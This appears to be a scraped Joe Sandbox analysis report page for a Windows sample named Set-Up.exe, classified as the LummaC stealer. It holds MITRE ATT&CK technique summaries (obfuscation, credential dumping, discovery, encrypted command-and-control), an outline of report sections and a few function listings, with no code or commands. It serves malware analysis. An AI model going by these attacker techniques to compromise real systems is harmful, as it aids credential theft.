
Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Set-Up.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Exports

Possible Origin

Network Behavior

Suricata IDS Alerts

Windows Analysis Report
Set-Up.exe

Function 02660396 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 399
threadCOMMON

Function 02660AA6 Relevance: 6.1, APIs: 4, Instructions: 100
threadprocessCOMMON

Function 02660956 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 103
threadCOMMON

Function 026B01D4 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
libraryCOMMON

Function 026AEE26 Relevance: 2.8, APIs: 2, Instructions: 325
memoryCOMMON

Function 0268411E Relevance: 65.4, Strings: 52, Instructions: 355
COMMON

Function 02680853 Relevance: 16.7, Strings: 13, Instructions: 489
COMMON